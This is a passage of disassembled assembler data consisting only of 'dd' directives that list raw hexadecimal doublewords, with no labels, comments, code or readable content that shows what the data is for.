		dd 60085A96h, 745C2163h, 390DA9C8h, 6681CA3Fh, 9603C0h
		dd 0B33620E7h, 1507EB97h, 800C4E49h, 2162DBAEh,	22BB4359h
		dd 0A6D900ADh, 966372DBh, 0A4707CC7h, 9530693Ch, 0B48C3Dh
		dd 0F5C5CE48h, 3C7A5692h, 2601DF1Ch, 8158749Fh,	86A1871Bh
		dd 0C40004CAh, 5C2C2Eh,	186441B8h, 276CF73Ah, 0CC4E0600h
		dd 7C3F15C7h, 0BB690021h, 0E998FA67h, 91C0AAF5h, 38C54C09h
		dd 0B55738E3h, 0ECFDFE00h, 0B6857F1Fh, 0ABF96401h, 7E78C69Fh
		dd 49238422h, 63DBAF04h, 4247580h, 8446D81h, 4202822Ah
		dd 607BC352h, 89B85Eh, 4D32099Dh, 1195FF06h, 0B0C0560h
		dd 812A1DB5h, 0C06AC1B0h, 361E852h, 0C35A2047h,	334C89C9h
		dd 3B1F8C15h, 0EF806646h, 70E60562h, 60857829h,	71E4582Ch
		dd 33C008E9h, 0E807F84Bh, 642B007Ah, 0A8F781ADh, 5B01B0AAh
		dd 830F613Ch, 2C83024Ch, 0EE5B52Bh, 0B632467Ch,	3050A0D8h
		dd 89E4C358h, 18224446h, 0C3504000h, 2C348606h,	0C1BA7649h
		dd 0A5B5091Bh, 8B5C8C0Dh, 8C535AC3h, 89E45B7Bh,	807D5C52h
		dd 8EC35343h, 0BF660008h, 0E8C16DB9h, 760E904h,	5E153C23h
		dd 6B6403D9h, 0E2F76647h, 0E556623h, 8944C35Dh,	201C626Ch
		dd 0B4C35545h, 19861500h, 4E9F1129h, 14E92299h,	20BF8807h
		dd 56D06947h, 0E8BAD45Eh, 0AB7E0E43h, 0A209CCEh, 0BF0F6E62h
		dd 8D01F106h, 0E6F62BADh, 0BD330CD8h, 0E9101F3Dh, 0DD550560h
		dd 24C2F707h, 740958B4h, 72001D46h, 10931FA3h, 350188B5h
		dd 8D094B2Eh, 3E4302EDh, 157E90Fh, 0D1EC36A1h, 1D851817h
		dd 0A815ECE6h, 914D0AC2h, 45C0B95Eh, 2214C38Bh,	0C183701Ch
		dd 11840F09h, 8DF85044h, 200B6025h, 0FD93B5Fh, 490E862Ah
		dd 5E1C5646h, 748988C3h, 464016C4h, 1A3EC356h, 851A89EAh
		dd 415A31E9h, 4E91D9D3h, 0C35F8757h, 477C8922h,	5747002Fh
		dd 66A5C1C3h, 8BF2BE0Eh
		dd 0C204ECF6h, 26B78AB5h, 1E9EBB83h, 2E8290F5h,	830F79Ah
		dd 0B10412Dh, 0C31B887Bh, 61F87730h, 76EA7293h,	210FE830h
		dd 47F3Bh, 0F77B6ADAh, 0ACF015D6h, 0F25F1409h, 0C71A811Ah
		dd 60E29416h, 0F23C2C1Fh, 885B6448h, 0C3596151h, 914C89C8h
		dd 5141C03Bh, 0DF00FFC3h, 0D6E94A85h, 3EC12607h, 8B1C2B5Ah
		dd 3DF784F0h, 0D009434h, 203D11F5h, 1E7AD33h, 17920EE9h
		dd 308D088Bh, 27C0243Bh, 112C750Dh, 14D85498h, 0F5800B9Dh
		dd 3D8518C7h, 4F990E0Ch, 9F3AC024h, 34144674h, 823A725Ah
		dd 0F7001823h, 793D40A9h, 0E1BD1881h, 7D09029h,	3685F9C4h
		dd 0C510FE54h, 51FF3E21h, 882C4E16h, 0B2E0C016h, 0B538231Dh
		dd 0B0486A91h, 6137FD1Dh, 5C32CAC8h, 29021446h,	9E42ADBEh
		dd 1D9161CEh, 0A4181AD1h, 51F5539h, 90643A98h, 1D23232Eh
		dd 80CE4700h, 9742D13h,	0F4377FA4h, 1911F51Dh, 51F27480h
		dd 4148A19Bh, 72F7008Bh, 0E9F850CEh, 0C72BC00Dh, 0FFD3E49Fh
		dd 57077D00h, 5E20280h,	165F486Eh, 38C16E8h, 177F89Bh
		dd 90FC919Dh, 15D5B56Dh, 0B82A0CD0h, 4F1C8C17h,	52811FE5h
		dd 2531B589h, 8A20B035h, 0A701926Dh, 6016448Bh,	4120319h
		dd 0E8F18B66h, 27504009h, 3992BC5h, 32138F96h, 1D0010E9h
		dd 72341CE7h, 3688662h,	11B8D620h, 45C82B78h, 0F0C45EF6h
		dd 0E9011BE1h, 0C4FFF79Ah, 0B12A9589h, 0C1538914h, 1C7700C2h
		dd 84C67EE4h, 5168006Dh, 0C1C92AD1h, 25DC04EBh,	14D19D29h
		dd 0FC4CED18h, 9F9223Bh, 735858Dh, 909CA62Fh, 0BF50012Bh
		dd 2884FD59h, 902404F0h, 0E2F61819h, 0BD037A16h, 26B51153h
		dd 0C64075E9h, 3937AAh,	14B4655Dh, 0B1220407h, 0B7C7C000h
		dd 0BD017B9Dh, 40265019h, 5107201Bh, 2F359512h,	1E151221h
		dd 5C08300h, 987DB6CAh,	10F9A3A8h, 13A8EB59h, 306CEF46h
		dd 514B3AADh, 0CDB8D200h, 314ABDF9h, 0F8570D0Fh, 63D35EF3h
		dd 3014A2C7h, 82520FC2h, 0FA8B0BC3h, 3943D6Ah, 202EC8A7h
		dd 44463FD8h, 3F484A6Ah, 4004F913h, 97CF1149h, 0A4C01588h
		dd 10895622h, 1D0AB99Dh, 13C48D5Fh, 92DE509Ah, 0BD098E80h
		dd 0BA9A2EE9h, 0F28BD309h, 15EF82F8h, 8F70A18h,	0E91D1639h
		dd 0E89488ECh, 815D819Bh, 0FC5425EDh, 4DC0679Bh, 5B2256FBh
		dd 8E0FF312h, 8DBF2C90h, 6842CD5h, 3686784Eh, 138B0140h
		dd 7B24859Dh, 51F70017h, 6E2CBFE6h, 81721C30h, 0DB5F35E3h
		dd 0E15D80F6h, 9456FE8Bh, 0B06C4795h, 5FF4A5BAh, 0B0DB0B2Ch
		dd 7A766D11h, 0E90DC988h, 7D48A10h, 78454400h, 0C3BD833Fh
		dd 11B5A305h, 50108430h, 0C10DEEE9h, 1572E917h,	41C9A120h
		dd 6366110h, 6B87D41Dh,	0F1671644h, 0FE0FA255h,	84B518Ah
		dd 0E90C1531h, 5811733h, 431E75E6h, 83F275Ch, 11A19769h
		dd 7042801Bh, 0A648A01h, 8D15D122h, 745066FCh, 8653FA07h
		dd 23715E4Ch, 9CCBFEFFh, 1D88BB8Eh, 1CFBE3C0h, 1F9EA08h
		dd 0BB2A5B1Bh, 408C66FCh, 0F6F1B7DDh, 7FB328FDh, 0F8F9878Ah
		dd 90618AF5h, 0A4AE23BDh, 0C681609Eh, 60501A5Fh, 0E9305185h
		dd 99BF330Ch, 0D64E3932h, 44E47201h, 365D0E40h,	0A2674277h
		dd 2582301Bh, 8021DA02h, 0E02C2FECh, 248F851Bh,	125141E2h
		dd 0A183D204h, 0B0584B50h, 8C19EC4Eh, 6CB9C500h, 8BE83AC4h
		dd 70E627FBh, 263F16B7h, 0E409CDEBh, 11591D71h,	27078019h
		dd 4F655792h, 230B3E26h, 0EC420B15h, 1B455D02h,	0C4960909h
		dd 0BA605810h, 770D6510h, 21950115h, 850906A4h,	710C0FC5h
		dd 0C38B2761h, 1B017190h, 4140302h, 78386059h, 0E0BC8D0Ch
		dd 2960B08Ah, 0A8D71A2Eh, 3F1C5D08h, 0E407540h,	2E2F9E5Fh
		dd 0E700DC86h, 1C5BD5A1h, 4B2B6668h, 2E5B6ED8h,	7B004D92h
		dd 894FCC0Dh, 1224491Ch, 51296BCh, 49DFB5FFh, 758F2882h
		dd 2303DD41h, 0BAFE25E6h, 0C470651Fh, 606C6114h, 0AF8C2F5h
		dd 0B325DFAh, 34516116h, 247CE20Dh, 0BE01BC5Eh,	40547F7Eh
		dd 488B9E20h, 0B04D81F1h, 7404D2BCh, 64B98D33h,	0D2F35CC2h
		dd 670A459Dh, 9529A1A0h, 8B6F1C6Ah, 0DD18890Fh,	0E0243F13h
		dd 519FB907h, 5FFA12FDh, 0C9669933h, 8F38CA4Ah,	8581B516h
		dd 5180552Ch, 16BD011Fh, 60029330h, 0F8F14805h,	873A5861h
		dd 85001623h, 10BF2C65h, 3D632D9Eh, 8F842E25h, 0C01AC8F7h
		dd 3B5D1F0Dh, 0DCCB8802h, 0EA59B52Bh, 253179ACh, 3600D1B7h
		dd 0AC908B13h, 3AC15B83h, 1A23BAh, 1F73F78Eh, 34CFAA3h
		dd 10511049h, 465484Fh,	0FD1164A4h, 6F47124Fh, 0E057346h
		dd 3E97668Ch, 317D8804h, 0A74DC813h, 0BB6088h, 5946F5BFh
		dd 0DA3BBE66h, 34CB9398h, 4B9C1426h, 0F7AF40E8h, 0BF11496Dh
		dd 0A7EE3300h, 1B5E87B0h, 0CE8107A6h, 7FAF550Ah, 0CF815B29h
		dd 3227098Dh, 52611DDDh, 115EA32h, 36C32B5Fh, 465AF040h
		dd 55BD2509h, 21AD7990h, 11227B82h, 2E52262Eh, 48E95E86h
		dd 64EC8712h, 0FC096019h, 0CD6A199Ch, 0C9F75423h, 0F0ED36C0h
		dd 0BE73C54h, 0FC9674C7h, 0BD205B46h, 5FE5B022h, 0F50C0181h
		dd 2331E0E5h, 331BA298h, 396217D8h, 28DA1200h, 3D9589ADh
		dd 0AA0AA03h, 0CEB417CCh, 9EE0EFF6h, 5801CAACh,	0DAE867AEh
		dd 72684416h, 3B4843F3h, 8C1AE829h, 0D5DC640Eh,	0E8171FA8h
		dd 283CE430h, 56B900AFh, 91D4CB80h, 7048BB4Eh, 0AA831672h
		dd 1623A38Ch, 9D306DBDh, 0D541FE7Fh, 64D1F20Ch,	64F94549h
		dd 0FC7C611Ch, 50CA8F4h, 388473AEh, 23252E90h, 0D7893D17h
		dd 236DE4D8h, 184C21C0h, 9D8912FCh, 8BEC4039h, 0A58D29F3h
		dd 0F8E33058h, 90028C18h, 4BB70585h, 2279F9h, 0E8AB704Ch
		dd 3400B0FEh, 0FD36A026h, 0A7D4688Ah, 601D4480h, 0FD6642h
		dd 2DF9DDFAh, 53B630F2h, 3D9D010Ch, 0B45EC020h,	52C3402Dh
		dd 301C2F4h, 4E67242Dh,	22C834B1h, 717B24DCh, 84091579h
		dd 75FFBF07h, 0D681701Eh, 21268739h, 46740F45h,	82C001Bh
		dd 0F2633E73h, 0FFCB5856h, 156EC475h, 0E0600E21h, 0B065B5D0h
		dd 1611C94h, 0EC16A95h,	0FFF808E9h, 2B213238h, 2E334382h
		dd 274BC144h, 437364BAh, 9DFE8152h, 0FB5E02CDh,	6E7F85C3h
		dd 0BD29CAB0h, 380F0D2Dh, 7DB50989h, 939081D5h,	0C25D50BAh
		dd 4674FBE4h, 0C8C72E1Ch, 36344000h, 48F07919h,	0FD9DFDE8h
		dd 0A01428h, 512E1B66h,	0E835253Fh, 1A80AEB4h, 0FA90E9ECh
		dd 44A70EF2h, 0F040A6E5h, 1181F75Ch, 0BD1003F4h, 5E052945h
		dd 0F4E9605Fh, 9D076B94h, 0F98C3707h, 80EFD5E4h, 9141DEEFh
		dd 0F6F341E3h, 37D8AF61h, 43211CD1h, 0B806503Dh, 9818F6B2h
		dd 140E00D9h, 0E474EDE1h, 0A2054556h, 0A5D88EB7h, 0A6D8381h
		dd 0E2E95F01h, 0F4547780h, 0CF05E29Ch, 6A177FC4h, 0A41B9AF4h
		dd 7611E6D6h, 7894BB51h, 6916E27Eh, 33D1FFACh, 5F80C1B5h
		dd 97DE8166h, 0BF0450AEh, 54A09682h, 2F56A7E0h,	8A0AF08Bh
		dd 89951713h, 0A9A29368h, 0E3F3DE84h, 60BE334Fh, 4AE25E0Eh
		dd 68E8C915h, 0EC57ECh,	8F43DDB4h, 0F5AA066h, 0E1D816Eh
		dd 0D3FF2461h, 5CE056B6h, 0BF05B7D3h, 6A07EF4h,	0D643D9A3h
		dd 0B33A1100h, 0D2E5F8C9h, 0AFA4E400h, 9661B145h, 208DBC67h
		dd 7702DD3h, 1055EB16h,	4CE7D8C8h, 7EC8C016h, 0D22C58Fh
		dd 0BDC80ECh, 9D8BF902h, 1016FA95h, 4F3265BDh, 84F4AF34h
		dd 8D98AA8h, 0B05E9A00h, 0CFB6E4D4h, 7BB00D3Eh,	272D8377h
		dd 3085110Fh, 9A4CC014h
		dd 6D09B849h, 91559D29h, 7C69AA66h, 2B1790ECh, 8110F8BAh
		dd 1B012E3Dh, 1B467Eh, 0B25E8C46h, 48447F7Bh, 0FF0BDB7Dh
		dd 0BEF56E9h, 0E9C10E64h, 1A74B995h, 0E159A461h, 23063E2Eh
		dd 0C1F7001Ah, 76B120B9h, 0B5894404h, 88941779h, 0BCF3F434h
		dd 94858912h, 579CF0B1h, 4F30BEh, 0CAA931FCh, 708B0033h
		dd 1DFFB350h, 0C10B46E2h, 425EDA7Ah, 51F132B1h,	5A5AC06h
		dd 85025EAh, 968014C0h,	0BD33015h, 0C8840003h, 0FDD03165h
		dd 0F21F5D34h, 0F0025780h, 62FB8B2Ah, 58BF2ADh,	0E93782BEh
		dd 9B8C53A4h, 4AFE8C6Ch, 29570676h, 0AB040595h,	0E4EF8104h
		dd 5980B074h, 4AE6F0BFh, 9F6E70h, 0B3AE4CAFh, 40C5E5FDh
		dd 0F9A911E1h, 212874E4h, 85643AF1h, 198804CBh,	7EF06FC7h
		dd 2796FED6h, 8744880Fh, 30499D10h, 81E9304Bh, 0F120BC6h
		dd 2C9BC38Bh, 72D56E81h, 69033CD9h, 0F8A8134Ah,	96558D89h
		dd 0C65E1345h, 0D527EA11h, 11A926h, 4667BE56h, 2B849D16h
		dd 60930027h, 0C002820Fh, 66D1B64Fh, 41940BAh, 8C1E5061h
		dd 0B4D7DF09h, 0E108E693h, 0E2281F4Fh, 5E9C78DBh, 9B178D52h
		dd 0EECCE874h, 2CBE0145h, 729D8C1Bh, 0E1DDC811h, 0F7955409h
		dd 8B1F2240h, 0B955800Dh, 48F087F2h, 6910B72Eh,	85612E23h
		dd 0A020711Ch, 9D8F0F35h, 599D6718h, 2E3C2345h,	58C18ECh
		dd 26B4BFFCh, 69C50420h, 0F6810011h, 5A8E249Eh,	0F936456Ah
		dd 0F756F401h, 4D731124h, 82A120A9h, 28B88780h,	10981Bh
		dd 0CB52CC0h, 34A1E425h, 292F21E5h, 169B8D5h, 13018B62h
		dd 7450FADCh, 6C12A10Bh, 3A575F47h, 7500416Eh, 0A1B72BCBh
		dd 3520B529h, 0DB52AA2Ah, 0F24F7138h, 0AE86940h, 0A33019C0h
		dd 7CF80455h, 1FDD1396h, 5824D26Dh, 21EDC082h, 3F659876h
		dd 10B16AA7h, 6692F04Eh, 81CE8D00h, 7ADBEBDFh, 4A9E863Bh
		dd 0BCEE023Fh, 0D21772E6h, 7D016928h, 0FC046CDh, 164E0BD0h
		dd 4B68E4Dh, 0B4200D36h, 0DDA0C159h, 0A016E516h, 5486612Fh
		dd 1FA92D26h, 0A5953331h, 0C2BD4D59h, 5F42A8C7h, 0BD04E7F1h
		dd 0BE2832B5h, 0AA49D404h, 1BCE5B48h, 0C6C01788h, 1E1B964Dh
		dd 2C2BF88Bh, 94DF0923h, 7D1C2B64h, 0FB4EEC6Fh,	0C4AFC097h
		dd 9C80E25Fh, 36044034h, 0A00E51A9h, 20826A2Bh,	0E0DD6BAAh
		dd 5AA8F86Fh, 748625Fh,	0E9F98B20h, 0C007A128h,	1888624Bh
		dd 0B607E6C0h, 0BE385C69h, 0CD0E4E74h, 116E2F80h, 0B1EE9504h
		dd 0D559C554h, 0F46A8520h, 8F12FBFCh, 723A125Ch, 80001D23h
		dd 0C6CC9D0Eh, 6F6C0B4Ah, 31645A85h, 0CA2E7200h, 4F4BC92h
		dd 13A6F8B9h, 58949Dh, 3AA3CF71h, 8B165F17h, 5F92E5B5h
		dd 1ECF1C0h, 0D398761h,	0F23E6826h, 5E57222Ch, 9CEAAC76h
		dd 0C16465Ch, 9067908Ch, 0BC4D9225h, 1446D68Dh,	0B2EDA26h
		dd 43452E25h, 46B5ADh, 0D8026691h, 20EBB3A9h, 23407DDBh
		dd 0D5B79590h, 857A5A00h, 9B0F6E7h, 59AE92BCh, 4970C250h
		dd 59D18080h, 725845FAh, 0F8C30996h, 66004844h,	0E409C1E7h
		dd 0C44795h, 901C2337h,	0C6A86B17h, 8A0F9E14h, 0AAC94F1Fh
		dd 3862CAF0h, 150069AEh, 0C96785FAh, 0FC009744h, 0BD70EE92h
		dd 2E33B07Bh, 81CB61B5h, 0F05037BEh, 88F44E40h,	1DEBC01Ch
		dd 5173E7B6h, 0C10416B0h, 91B5BF66h, 2016EC82h,	7D958960h
		dd 6BB04D92h, 6D206090h, 0EC41EF18h, 0B050D19h,	0AFABADB0h
		dd 2380DE37h, 2B025906h, 0FF924B5h, 14467C63h, 0B5E9980Bh
		dd 91ED3E42h, 1A2F4AC0h, 2D880B5Dh, 8DC103CBh, 58F42C1h
		dd 6AAEBF20h, 53325A04h, 1587B63h, 5FA19171h, 0F8CDF539h
		dd 0C876C678h, 0B1A00670h, 381C5D2Dh, 18BE4Eh, 9047309Bh
		dd 243989BFh, 4B0384DFh, 0E43DB70Ch, 0C24E4FEDh, 821223B9h
		dd 810D099Fh, 5119B12Ah, 0F2B5273Bh, 422925FDh,	0B3C674h
		dd 4FEDCAABh, 84C3E5CBh, 353B0802h, 43835E7Fh, 2E039A76h
		dd 0A4F7B7C5h, 95322928h, 76FC7561h, 0D6D6E86Fh, 12DFD602h
		dd 7CA6B170h, 199D095Dh, 2F21B5E5h, 0D7181C71h,	0DB354F00h
		dd 0B0EDA56Dh, 2DE984Dh, 6F26C0B9h, 4CC7D3FFh, 78601C44h
		dd 0A702D3CCh, 0BDD6AF5Fh, 89C37971h, 96D995E9h, 0D154BBC5h
		dd 328E13D8h, 1322A9CFh, 0D7816600h, 9D8BB9A9h,	4D172BD1h
		dd 0DFC8D086h, 8CF5D400h, 958F48B7h, 4F857329h,	0B3CB7511h
		dd 0D1484E12h, 36509978h, 835F1041h, 188A27BDh,	3D2FC791h
		dd 4C2ECB6h, 0BD03AC91h, 0E8339499h, 4598986Bh,	2003B92Dh
		dd 0A4C69C3Ch, 0C409DE5Dh, 48F7E3Fh, 0E9467998h, 34842538h
		dd 0FAF81393h, 12827206h, 89D955Ah, 0F98001B1h,	47F8EBBEh
		dd 0F48D5342h, 6533A648h, 0A9B12993h, 0D6B33D2Ch, 0AF85DF13h
		dd 6638C06Fh, 4A2A6801h, 6A2215B8h, 1DD3101Eh, 8867BFC8h
		dd 0ED258D29h, 0ED803A21h, 7E1C018h, 0D64F1DCBh, 812F34h
		dd 0E9873011h, 0F0EBD7EFh, 0BE665079h, 65AE2726h, 0C3994DA5h
		dd 11904330h, 0E912D920h, 0FCE0490h, 0D5C017C8h, 70BD588Fh
		dd 70E626B0h, 0E13DE25h, 0DF01A7E1h, 57BC6330h,	31F94D70h
		dd 10F271E4h, 0D3096A89h, 5BE9E418h, 832C753h, 9FADC225h
		dd 80189182h, 267497ECh, 0A58B7760h, 631BC465h,	0F67C0A5h
		dd 0FC38022Dh, 398D893Dh, 7840174Ah, 0B39C687Eh, 0C4A5ED25h
		dd 4ADA2DCh, 7177F341h,	0DF44C0EFh, 0B89C1FE5h,	96B72Fh
		dd 0C0308C60h, 8A27C60Ch, 2BAD0303h, 0F10A32D8h, 4248F206h
		dd 89228ADBh, 0D46A941Ch, 0A0A75E0Ch, 0A0F954A1h, 0BAE58DB9h
		dd 61FC0099h, 7483E781h, 0E094471Ah, 2530BE60h,	75454AA4h
		dd 88EBDAC3h, 17C10878h, 13DA0F1Dh, 409C5421h, 5DC7485h
		dd 0B156B800h, 0C0DF142Ch, 66902725h, 28400FEFh, 0E4D60C30h
		dd 95311ABCh, 0A18A85E9h, 0F86D257Ah, 31E7D6C0h, 495C0222h
		dd 172CFAE2h, 803E0AF1h, 0DF109D4Ah, 9F95ACh, 0E5FC40E2h
		dd 68AA81EEh, 0A0C0F416h, 2906AE82h, 43007A4h, 0C0C1605Eh
		dd 0D869158Dh, 810A839Eh, 32D0CEAEh, 2B01047Eh,	65B8BABEh
		dd 206F61E1h, 47F13807h, 537F2000h, 0EE04D3DBh,	0A8732DF2h
		dd 2499222h, 1AC4E147h,	1316E360h, 0C4A46B09h, 1F0BE4B2h
		dd 28681Eh, 6CB88BDBh, 0CC024CB5h, 0C17817E7h, 232869B4h
		dd 0B632BD70h, 2BE1C9EAh, 0C81041Fh, 1BB88A0Fh,	9340E549h
		dd 0AA439AC5h, 700B5BC0h, 76E64F55h, 0AADE9612h, 26E6BC17h
		dd 9AFF3AE0h, 6547C01h,	37877FB4h, 158716Bh, 50810413h
		dd 607F3121h, 1BD96F68h, 0D9667B21h, 90CC1814h,	60F03AEDh
		dd 0F9DCB905h, 0BC62FD61h, 10138C1Dh, 0AEB3A509h, 20D23F28h
		dd 297626D9h, 0D5849D4Bh, 11211AC1h, 2E43293Eh,	0A300786Ah
		dd 9F1E6884h, 4D13E5F5h, 14307433h, 1B9203h, 3C5073BAh
		dd 0F1498DC3h, 968F063Eh, 41DBC183h, 0F475BED0h, 31F92489h
		dd 0FED0835h, 1C590C31h, 0F561353Eh, 16E6EF1h, 0B2584E0Bh
		dd 57352562h, 35BEAC80h, 5BE98A84h, 3E412216h, 1A818229h
		dd 629CECD2h, 39B556F9h, 3BFD270h, 0C431BD40h, 19A220F8h
		dd 0F9958920h, 445C9228h, 25B0602Eh, 3EDA48h, 0EBB61C6h
		dd 0ED4B227Ch, 6E7BC0F1h, 47CC0BFBh, 0E8E24715h, 667E6022h
		dd 854AC7A1h, 234713D7h, 4DB5695h, 79D022CDh, 67B802h
		dd 0E9A0DF34h, 0B52B390Ch, 4F01C14Dh, 9347D13Ch, 4EC1F02Ch
		dd 3AFCEB2Dh, 8E5D1FEEh, 9A411B74h, 69E16E63h, 8C1BACECh
		dd 0A154DD1Fh, 87342F42h
		dd 0B02AECD2h, 90F92579h, 85C015CDh, 0B4C14EBh,	0E938B29Dh
		dd 3B8A2D90h, 4787CF07h, 0DA006866h, 125843Eh, 0F23F282Ch
		dd 7AE4163Ah, 0FA507F20h, 399F00B2h, 2DEE81B5h,	7C4DC997h
		dd 3BF4BD9Eh, 6EEC00D1h, 0FE4DBEF4h, 20BDE843h,	0D677D2BAh
		dd 7810095h, 90C7532Bh,	0B7975F28h, 4AEE05D1h, 0A028584h
		dd 81AB71E7h, 2B78E3BEh, 12086A2Ah, 1666170Fh, 60160EF8h
		dd 2A52CBA1h, 0FE7830ECh, 0F33F20B0h, 0E8BD4892h, 0E33E8C15h
		dd 7509F2EFh, 0ED5B9EBFh, 0D3E2E076h, 8903C5FDh, 0F304A12h
		dd 0B025AE8Fh, 290C449Ah, 13718510h, 0E95E462h,	23722409h
		dd 77EE7E5h, 0C533F99Dh, 2406FCB9h, 46748C60h, 0A427001Dh
		dd 59FAE40h, 36F102D9h,	2DBD019Ch, 80049858h, 0B9F821DEh
		dd 8BC898E1h, 1ABD3795h, 98DD11Eh, 5D594103h, 0E90C4122h
		dd 0BAB0012Dh, 7A294BFBh, 0A0037D77h, 29EF1784h, 68A8948Dh
		dd 5305C85Bh, 88F68F01h, 0E2820ABCh, 0D085273Ah, 0D7852A65h
		dd 1EC07C4Bh, 77E1835Bh, 0D22DF601h, 80469B27h,	63E8D690h
		dd 858B1750h, 5B1E4031h, 17659D29h, 861A8CAAh, 0DAE0094Dh
		dd 1738A96h, 6021EB20h,	8985B531h, 5AE9576Dh, 0ED870072h
		dd 8D2CF88Ah, 0C30A23ACh, 776159EAh, 572B249Ah,	1200EEB7h
		dd 0E27DD0B1h, 0F78A0C57h, 9D8E615Bh, 0ED150130h, 8226F195h
		dd 0B8661998h, 0B4FCA24h, 6F17D109h, 0B28F44BCh, 0F6DF001Eh
		dd 0D3560A58h, 59010011h, 8712B43Bh, 6CD2B910h,	800511B9h
		dd 5D8B0EE8h, 8BC2943Fh, 1BDB22C9h, 2D89BFD8h, 60CA459Dh
		dd 14373C2Ah, 652A8AD3h, 283A89D7h, 0DFEDF369h,	0BA661AD8h
		dd 69B2E82Eh, 963451Ah,	0C0E4EDC9h, 4D8AB014h, 128D0F25h
		dd 3F161F8h, 5A64E802h,	7B20A300h, 0FABD69F5h, 880009Dh
		dd 53E9C147h, 40F8EE1Dh, 0CD950108h, 355E1222h,	0B46F06h
		dd 0FA7FB11Bh, 0A010CB80h, 0BE3281EEh, 19467692h, 8D6F001h
		dd 0A502C9CDh, 6688484Eh, 93D728BBh, 373182E3h,	0E01F80D1h
		dd 840FF551h, 0BA818E96h, 4F7A5BABh, 6220423h, 1DBD3313h
		dd 97E6B5Ah, 0C0676D49h, 80B471A9h, 0A3AAF92Ch,	30259D04h
		dd 912E419Ch, 181AF97Bh, 0BD3A2563h, 0F243F5Ah,	85611A89h
		dd 4722268Dh, 3E009871h, 35FCF9B6h, 311B315Dh, 2DE8600Ah
		dd 7B640087h, 717DD939h, 797520h, 0B3FB583Dh, 0E7F68038h
		dd 61F55F14h, 39521DBh,	5DA1CA81h, 62351627h, 0E0886D5Bh
		dd 0CB9D87C5h, 201C9303h, 13CDE2FAh, 11F6EE60h,	0B64B3BF3h
		dd 1F8EE05Bh, 0AF6FCD4h, 45727803h, 420C64C9h, 64A9BD89h
		dd 0A19D2728h, 8A6F22A8h, 2F188C0Fh, 91299E6h, 0BC52658Dh
		dd 9E76713Dh, 0E3AACAA0h, 21366C0Ah, 7E23EA44h,	122DDD58h
		dd 0DD85C70Eh, 5B6E6A15h, 858BF64Ch, 5126DE1h, 1AA11081h
		dd 49766102h, 703A04DCh, 0A21C8A29h, 1DE407A8h,	20840809h
		dd 9DD00987h, 7507EB14h, 6F7DEF61h, 0E140E64Bh,	9D20D5CAh
		dd 2B0E40CDh, 0DAE59D24h, 0C0EC6DA5h, 485C930Bh, 0FE62BA00h
		dd 0BED42B8Ah, 43150046h, 0AC06BB0Dh, 8B186407h, 0E38BAC1h
		dd 0EA8137F0h, 0C2836147h, 0C92F6014h, 0FFE72141h, 104F8199h
		dd 50E45128h, 35FF2264h, 2589DCE1h, 0E0D80ED7h,	0C22B3258h
		dd 0AE8F01Ah, 4D243881h, 1211505Ah, 50B70176h, 81D0033Ch
		dd 9745D93Ah, 73258419h, 0CFF0D984h, 4AD94AE9h,	89FC84Ah
		dd 3062A11h, 0EF4F3C40h, 3215C288h, 647D8B1Eh, 5464112h
		dd 1CC35BF8h, 1BD1030Ch, 4D2F3120h, 0B2CA08DAh,	8F64C821h
		dd 836D4005h, 0D49604C4h, 408B5142h, 2881105Bh,	0C014B0A9h
		dd 0C03359B5h, 0BD2A83C3h, 0E1C8ABA5h, 85C68424h, 47A0D0E5h
		dd 0A701D268h, 0B5FFD49Ah, 462E0B29h, 0DE75D757h, 1190D0F8h
		dd 308208D0h, 0D38BB9D5h, 9BA6E8h, 0C163A3D6h, 113154EDh
		dd 0F5B370Ah, 81025088h, 0A269BEC3h, 8B68FA85h,	58B5610Dh
		dd 0C00314ECh, 98F2810Ch, 260A8C43h, 1504800Fh,	0FE35B900h
		dd 78A5C281h, 246FFBA4h, 0DC40BB65h, 0BD0F77D1h, 2A48C030h
		dd 0F8367A22h, 0A5608968h, 0A1780069h, 0D30B83h, 8AB30DF4h
		dd 400E4DCEh, 216A6800h, 0E8830F30h, 0BF660702h, 1048572Bh
		dd 9A3FBE60h, 6113FF01h, 96D4F881h, 3682C4DFh, 511A4A99h
		dd 13C10011h, 9EF7D39Ch, 3D5FF900h, 6E1EDABDh, 34D7A11h
		dd 479FE7DDh, 14A13E85h, 0D636F81Dh, 4C455401h,	5BBD112Bh
		dd 21D70898h, 0D6004EFFh, 74F17968h, 4BFCE35h, 0ECBEB60Ch
		dd 99AA83CDh, 1EC52298h, 3E0EA100h, 0F21D0D5Ch,	4C473970h
		dd 0F5ACD806h, 660050C2h, 5A282541h, 811C3Ch, 0D42B302h
		dd 4F370EA8h, 88B89C0Ch, 989F2014h, 4E8E1465h, 11E120AFh
		dd 1E6418B2h, 98172675h, 7F3EC166h, 98DC401Ch, 0C2F17001h
		dd 88C4818h, 54201773h,	0AEDC7807h, 0E250811Eh,	86CFA8h
		dd 9A9C4860h, 1F507A34h, 0D4069507h, 0FFC23E03h, 0FDA0A71Ch
		dd 664DDEC0h, 0B7B0C8Ah, 108819Eh, 8D5E21C0h, 3018D2DEh
		dd 82918E4Ah, 21CD1991h, 0BBF0D986h, 6B0A03E5h,	8541D8AFh
		dd 180A878Bh, 0D8459FE0h, 56D630C1h, 0E5CE9h, 0C6D648FDh
		dd 0ADA05E7h, 0C7B80CB0h, 2429089Ch, 18FC3F06h,	4F610051h
		dd 0F539434Bh, 0E000E25Ch, 0B70E19F2h, 149DBF6Fh, 8063AD6Ah
		dd 0E2A7DD06h, 0FD503810h, 0A9008870h, 5F9D9A44h, 34A487h
		dd 99F6EF61h, 0B4C63F37h, 5428A918h, 802B0580h,	0FE7F9106h
		dd 74901490h, 45B89B61h, 4F30E915h, 2A7E7899h, 12D0A78Fh
		dd 54349Fh, 22499CB8h, 5166959Bh, 210F08h, 0E07F4C57h
		dd 2ECBFA08h, 16013A01h, 21665907h, 0B91C6883h,	801B03A4h
		dd 23C98EA7h, 57018C68h, 219C327Fh, 4A883A18h, 6A7F004Fh
		dd 0BABD142Ah, 5E1D9285h, 74139C67h, 0D81F620Ah, 37804411h
		dd 544555D6h, 0FED3448Ch, 0CAD64F00h, 8562E865h, 0FC9A5289h
		dd 32017B23h, 2C4548D6h, 8388D218h, 28D6284Ah, 0EB3D20A4h
		dd 0A4766A01h, 0C3FEFCF2h, 466028A8h, 0DE9B024Ah, 31FA6643h
		dd 9350100Ah, 29E6DEh, 2016633Ch, 754508BDh, 4DED4718h
		dd 29929D69h, 11807AC0h, 0D6358046h, 8C444553h,	0F8D544h
		dd 0DF7BD64Dh, 6B3181E9h, 0B812A02Ah, 75DBC712h, 0CF39EA00h
		dd 3AB032F0h, 36830654h, 0F2A9E547h, 8542800Eh,	889C94ADh
